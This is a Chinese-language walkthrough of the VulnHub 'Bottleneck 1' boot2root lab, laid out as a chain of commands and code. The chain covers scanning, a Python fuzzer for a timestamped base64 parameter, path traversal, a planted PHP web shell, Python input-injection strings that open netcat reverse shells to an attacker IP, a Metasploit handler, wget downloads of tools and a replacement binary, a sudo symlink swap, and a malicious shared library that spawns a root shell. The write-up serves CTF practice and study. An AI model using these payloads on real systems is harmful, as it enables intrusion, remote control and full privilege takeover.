靶机实战 |『VulnHub系列』Bottleneck 1-Walkthrough

https://www.vulnhub.com/entry/bottleneck-1,374/

https://blog.csdn.net/weixin_44214107

Bottleneck is an intermediate boot2root machine.After some cyber attacks the admin hardened the system, show him that it's not so secure.If you need a hint feel free to contact me on Twitter: @bytevsbyt3

netdiscover -r 192.168.0.0/24

nmap -sS -sV -T4 -A -p- 192.168.0.107

dirb http://192.168.0.107 -X .php,.txt,.zip,.html

python3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.html

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

/image_gallery.php

http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n

http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n

#!/usr/bin/python# -*- coding: UTF-8 -*-import datetimeimport timeimport requestsimport base64import argparse
# 发送请求def sendRequest(fuzzWordlist, url):    wordlistFile = open(fuzzWordlist,'r')    for line in wordlistFile.readlines():        word = line.strip('\r').strip('\n')        # 逐行对字典中的内容进行fuzz，需要先对字典中每一行内容进行base64编码        payload = base64.b64encode(word.encode("utf-8"))        # 获取时间戳（因为我的kali与靶机的系统时间一致，使用kali系统的当前时间生成的时间戳就是靶机上的时间戳），我的kali系统时间比大北京时间慢12小时        dtime = datetime.datetime.now()        t = int(time.mktime(dtime.timetuple()))        # 命令行打印时间戳和base64编码的payload        print 'timestamp:' + str(t)        print 'base64:' + payload
        try:            # 发送请求            URL = url            print URL            # 定义参数            PARAMS = {                't':t,                'f':payload}
            r = requests.get(url = URL, params = PARAMS)            # print r.text            file = open("/root/Desktop/response.txt", "a+")            # 为了方便区分请求的返回结果，加了这个            name = '--------' + word +' begin--------\r'            file.write(name)            file.write(r.content)            name = '--------' + word +' end--------\r\r'            file.write(name)            file.close()        except:            pass
def main():    # 获取命令行输入的参数    parser = argparse.ArgumentParser(description='timestamp')    # 字典的物理路径 /usr/share/wordlist/fuzzlist/wordlist.txt    parser.add_argument("--w")    # 请求的url， http://192.168.0.107/image_gallery.php    parser.add_argument("--url")    args = parser.parse_args()    url = args.url    fuzzWordlist = args.w    # 调用方法    sendRequest(fuzzWordlist, url)
if __name__ == '__main__':    main()

bottleneck_dontbe.png/etc/passwd../../../etc/passwd../../../../etc/passwd

../image_gallery.php

../index.php../image_gallery_load.php../image_gallery.php

<?phpfunction print_troll(){    $messages = $GLOBALS['messages'];    $troll = $GLOBALS['troll'];    echo $messages[0];    echo $troll;}
$troll = <<<EOT<pre>                                   _,..._                                  /__    \                                   >< `.  \                                  /_    \ |                                   \-_  /:|                                 ,--'..'. :                               ,'         `.                            _,'             \                   _.._,--''    ,           |               , ,',, _|    _,.'|      |    |            \\||/,'(,' '--''    |      |    |       _     |||                |      /-'  |      | |   (- -)<`._           |     /    /      | |  \_\O/_/`-.(<<        |____/    /      | |   /   \              / -'| `--.'|      | |   \___/             /           /      | |    H H             /     |     |      |_|_..-H-H--.._       /     ,|     |        |-.._"_"__..-|     |   _-/ |     |        |            |     |    |   \_   |        |            |     |    |   |    |        |            |     |____|   |    |        |            |  _..'    |   |____|        |            |_(____..._' _.'    |        `-..______..-'""         (___..--'<pre>EOT;
if(!isset($_GET['t']) || !isset($_GET['f'])){    exit();}
$imagefile = base64_decode($_GET['f']);$timestamp = time();$isblocked = FALSE;$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');$messages = array("\nLet me throw away your nice request into the bin.\n".    "The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".    "Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");
if(abs($_GET['t'] - $timestamp) > 10){    exit();}foreach($blacklist as $elem){    if(strstr($imagefile, $elem) !== FALSE)        $isblocked = TRUE;}// report the intrusion to the soc and save information locally for further investigationif($isblocked){    $logfile = 'intrusion_'.$timestamp;    $fp = fopen('/var/log/soc/'.$logfile, 'w');    fwrite($fp, "'".$imagefile."'");    fclose($fp);    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');    print_troll();    exit();}chdir('img');$filecontent = file_get_contents($imagefile);if($filecontent === FALSE){    print_troll();}else{    echo $filecontent;}chdir('../');
?>

exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');

/etc/passwd../tmp/output../../tmp/output../../../tmp/output../../../../tmp/output../../../../../tmp/output../../../../../../tmp/output../../../../../../../tmp/output../../../../../../../../../tmp/output/../../../tmp/output/../../../../tmp/output/../../../../../tmp/output/../../../../../../tmp/output/../../../../../../../tmp/output

foreach($blacklist as $elem){    if(strstr($imagefile, $elem) !== FALSE)        $isblocked = TRUE;} // report the intrusion to the soc and save information locally for further investigationif($isblocked){    $logfile = 'intrusion_'.$timestamp;    $fp = fopen('/var/log/soc/'.$logfile, 'w');    fwrite($fp, "'".$imagefile."'");    fclose($fp);    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');    print_troll();    exit();}

python timestamp.py --w wordlist.txt --url http://192.168.0.107/image_gallery.php

/etc/passwd<?php system($_GET['cmd'])?>

https://www.secpulse.com/archives/75491.html

https://xz.aliyun.com/t/2289https://xz.aliyun.com/t/2289

http://www.moonsec.com/post-717.html

https://www.cnblogs.com/heycomputer/articles/10537633.html

https://intx0x80.blogspot.com/2017/05/python-input-vulnerability_25.html

data = str(input('report: ')

report: [+] sending the message: /etc/passwd

__import__('os').system("uname -a")

__import__('os').system("nc -e /bin/bash 192.168.0.108 1234")

https://www.fengdingbo.com/netcat-invalid-option-e.html

https://superuser.com/questions/691008/why-is-the-e-option-missing-from-netcat-openbsd

/etc'__import__('os').system('nc -e /bin/bash 192.168.0.108 1234') and'

/etc' and __import__('os').system('nc -e /bin/bash 192.168.0.108 1234') and'

/etc' and __import__('os').system('rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 >/tmp/f') and'

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 >/tmp/f'

nc 192.168.0.107 1234

/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.108 1234 >/tmp/f") and'

msfconsoleuse exploit/multi/handlerset payload cmd/unix/reverse_netcat_gapingshow optionsset lhost 192.168.0.108set lport 1234run

https://github.com/sleventyeleven/linuxprivchecker

https://github.com/rebootuser/LinEnum

python -m SimpleHTTPServer 65534

cd /tmpwget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息，我将结果输出到report.txt文本中

python linuxprivchecker.py > report.txt

find / -perm -u=s -type f 2>/dev/null

find / -writable -type f 2>/dev/null >/tmp/report.txtgrep -Ev '/proc|/sys' /tmp/report.txt

sudo -l

flags=73<UP,LOOPBACK,RUNNING>  mtu 65536

#!/bin/bash/bin/bash

cd /var/www/html/web_untilswget -O clear_logs_copy http://192.168.0.108/clear_logs

chmod 777 clear_logs_copy

ln -snf /var/www/html/web_utils/clear_logs_copy /var/www/html/web_utils/clear_logs

sudo -ubytevsbyte /var/www/html/web_untils/clear_logs

#include <dlfcn.h>#include <unistd.h>
int main(int argc, char *argv[]){    void *handle;    int (*function)();    if(argc < 2)        return 1;    handle = dlopen(argv[1], RTLD_LAZY);    function = dlsym(handle, "test_this");    function();    return 0;}

#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <unistd.h>void test_this(){setuid(0); setgid(0); system("/bin/sh");}

gcc -fPIC -shared test_this.c -o test_this.so

/usr/test/testlib /tmp/test_this.so